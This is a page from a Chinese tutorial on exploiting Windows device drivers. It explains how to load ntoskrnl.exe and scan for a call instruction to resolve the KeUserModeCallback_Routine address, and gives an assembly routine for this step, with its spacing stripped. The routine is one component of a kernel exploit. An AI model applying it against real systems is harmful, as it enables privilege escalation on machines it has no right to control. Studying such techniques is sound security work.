WEB开发网
开发学院网络安全安全技术 详解如何利用Windows设备驱动 阅读

详解如何利用Windows设备驱动

 2009-02-12 13:55:33 来源:WEB开发网   
核心提示: 关键点2:加载ntoskrnl.exe 模块,并获得KeUserModeCallback_Routine 地址加载ntoskrnl.exe到程序的空间非常简单,详解如何利用Windows设备驱动(7),我们可以使用LoadLibraryEx API 实现,不同的Windows 内核有不同的

关键点2:加载ntoskrnl.exe 模块,并获得KeUserModeCallback_Routine 地址

加载ntoskrnl.exe到程序的空间非常简单,我们可以使用LoadLibraryEx API 实现。不同的Windows 内核有不同的KeUserModeCallback_Routine 地址,因此我们需要获取当前的地址。正如你所看到的call 请求那样(call dword ptr [KiSetTimeUpdateNotifyRoutine]),请求总是来自低于KeUserModeCallback 函数的地址。我们会利用这个特性,我们需要找到KeUserModeCallbac 地址,搜索特殊的call 指令代码(0xFF15 byte),经过简单的计算我们就可以得到KeUserModeCallback_Routine 的地址。代码我们举例说明:

   ;------------------------------------------------------------
  ;findstheKeUserModeCallback_Routinefromntoskrnl.exe
  ;------------------------------------------------------------
  find_KeUserModeCallback_Routineproc
  pushad
  push1;DONT_RESOLVE_DLL_REFERENCES
  push0
  @pushsz"C:windowssystem32ntoskrnl.exe";ntoskrnl.exeisokalso
  @callxLoadLibraryExA;loadlibrary
  @check0,"Error:cannotloadlibrary"
  movebx,eax;copyhandletoebx
  @pushsz"KeUserModeCallback"
  pusheax
  @callxGetProcAddress;gettheaddress
  movedi,eax
  @check0,"Error:cannotobtainKeUserModeCallbackaddress"
  scan_for_call:
  incedi
  cmpwordptr[edi],015FFh;thecallwesearchfor?
  jnescan_for_call;nope,continuethescan
  moveax,[edi+2];EAX=calladdress
  movecx,[ebx+3ch]
  addecx,ebx;ecx=PEH
  movecx,[ecx+34h];ECX=kernelbasefromPEH
  subeax,ecx;gettherealaddress
  movdwordptr[KeUserModeCallback_Routine],eax;store
  popad
  ret
  find_KeUserModeCallback_Routineendp

上一页  2 3 4 5 6 7 8 9 10  下一页

Tags:详解 如何 利用

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接